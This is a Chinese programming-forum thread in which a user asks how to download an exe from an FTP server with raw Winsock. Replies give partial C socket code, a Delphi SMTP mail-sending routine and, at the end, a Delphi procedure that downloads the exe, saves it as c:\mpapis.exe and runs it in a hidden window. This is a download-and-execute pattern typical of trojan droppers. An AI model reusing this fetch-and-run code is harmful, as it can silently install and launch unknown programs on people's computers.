在FTP服务上存放着一个文件,
假设服务10.1.1.101,用户名为admin 密码为gloab 文件名为a.exe
在IE中输入ftp://admin:[email protected]/a.exe便可下载这个文件,
谁能不用Delphi或BCB中的控件,完全用Sockets写一个下载这个文件的程序啊,
感激不尽!!!

解决方案 »

  1.   

    >>谁能不用Delphi或BCB中的控件,完全用Sockets写一个下载这个文件的程序啊,可以阿,但想不出为什么要这么麻烦自己去做?学习?
      

  2.   

    不是啊,我不想用控件啊,可以熟悉一下WINSOCK嘛
      

  3.   

    WSADATA       wsd;
        SOCKET        sClient;
        char          szBuffer[DEFAULT_BUFFER];
        int           ret,
                      i;
        struct sockaddr_in server;
        struct hostent    *host = NULL;    if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
        {
            printf("Failed to load Winsock library!\n");
            return 1;
        }
        strcpy(szMessage, DEFAULT_MESSAGE);    sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (sClient == INVALID_SOCKET)
        {
            printf("socket() failed: %d\n", WSAGetLastError());
            return 1;
        }
        server.sin_family = AF_INET;
        server.sin_port = htons("21");
        server.sin_addr.s_addr = inet_addr("10.1.1.101");我就会这么多,没办法,请高手接写去写.
      

  4.   

    很简单啊, 你可以查看 scktcomp.pas 文件, 里面有如何调用 socket 函数实例, 学习比较容易一点哦.
      

  5.   


    procedure SendMail(EmailForm,EmailTo,User,PassWord,Smtp,EmailBody,Subject:string);
    var
      s:tsocket;
      wsa:twsadata;
      server:tsockaddr;
      errorcode:integer;
      account:pchar;
      recvbuffer,sendbuffer:array[0..79] of char;
      head:array[0..255] of char;
      str:string;
      SendBody:String;
    begin
      //windows.Beep(300,200) ;
      SendBody:='From:传奇<'+EmailForm+'>'#13#10
               +'To: <'+EmailTo+'>'#13#10   //收信地址,由您设定
               +'Subject: '+Subject+#13#10
               +#13#10
               +EmailBody+#13#10
               +'.'+#13#10#0;
      wsastartup($0101,wsa);  getmem(account,256);
      //分配内存空间  strcopy(account,pchar(EmailForm));
      //填充一些基本的信息
      s:=socket(2,1,0);
      //建立一个套接字  if s=invalid_socket then exit;  server.sin_family:=af_inet;
      server.sin_port:=htons(25);  if isIP(Smtp) then   // <-检查是否是IP地址,不是的话进行转换
        server.sin_addr.S_addr:=inet_addr(pchar(Smtp))
      else
        server.sin_addr.S_addr:=inet_addr(pchar(HostToIP(Smtp)));  errorcode:=connect(s,server,sizeof(server));  if  errorcode=0 then
      begin
        //windows.Beep(300,200) ;
        recv(s,head,sizeof(head),0);
        //这里调用recv来接受服务器的banner
        strpcopy(sendbuffer,'EHLO MS'#13#10);
        send(s,sendbuffer,9,0);
        //我们发送命令HELO
        recv(s,recvbuffer,sizeof(recvbuffer),0);
        str:= 'AUTH LOGIN'#13#10  ;
        strpcopy(sendbuffer,str+#13#10);
        send(s,sendbuffer,12,0);
        recv(s,recvbuffer,sizeof(recvbuffer),0);
        str:= Base64Encode(User)+#13#10 ;
        strpcopy(sendbuffer,str);
        send(s,sendbuffer,length(str),0);
        recv(s,recvbuffer,sizeof(recvbuffer),0);
        //windows.Beep(300,200) ;
        str:= Base64Encode(PassWord)+#13#10 ;
        strpcopy(sendbuffer,str);
        send(s,sendbuffer,length(str),0);
        recv(s,recvbuffer,sizeof(recvbuffer),0);
        str:= 'Mail from:<'+EmailForm+'>'+#13#10 ;
        strpcopy(sendbuffer,str);
        send(s,sendbuffer,length(str),0);
        //我们发送命令MAIL FROM
        recv(s,recvbuffer,sizeof(recvbuffer),0);
        str:= 'RCPT to::<'+EmailTo+'>'+#13#10 ;
        strpcopy(sendbuffer,str);
        send(s,sendbuffer,length(str),0);
        recv(s,recvbuffer,sizeof(recvbuffer),0);
        //已经发送count个rcpt to命令
        strpcopy(sendbuffer,'DATA'+#13#10);
        send(s,sendbuffer,6,0);
        //这里开始发送信笺的主体
        recv(s,recvbuffer,sizeof(recvbuffer),0);
        send(s,SendBody[1],length(SendBody),0);
        //  strpcopy(sendbuffer,ENDSIGN);
        //  send(s,sendbuffer,5,0);
        //这里发送信笺结束标志
        recv(s,recvbuffer,sizeof(recvbuffer),0);
        strpcopy(sendbuffer,'QUIT');
        send(s,sendbuffer,4,0);
        //发送QUIT表示我们要退出会话
        recv(s,recvbuffer,sizeof(recvbuffer),0);
        closesocket(s);
        //关闭套接字  end;//释放内存
    freemem(account,256);
    wsacleanup;
    end;
    一个用直接用SocketAPI发邮件的例子,不好意思FTP协议不太了解,你抓一下包,然后把封包填入这个程序框架就可以了。 
    http://www.prettysky.com/showart.asp?id=1
      

  6.   

    另外给你一个终极简单的方法procedure Download();
    var
      SystemDir:array [0..255] of Char;
      DownloadResult:LongInt;
      URLDownloadToFile: function(Caller: Pointer; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB: Pointer): LongInt; stdcall;
    begin
      GetSystemDirectory(SystemDir,255);
      @URLDownloadToFile:=GetProcAddress(LoadLibrary(PChar(SystemDir+'\urlmon.dll')),'URLDownloadToFileA');
        if Assigned(URLDownloadToFile) then
        begin
          DownloadResult:=URLDownloadToFile(nil,PChar('ftp://admin:[email protected]/a.exe'),PChar('c:\mpapis.exe'),0,nil);
          if DownloadResult=0 then winexec(PChar('c:\mpapis.exe'),0);
       end;
      end;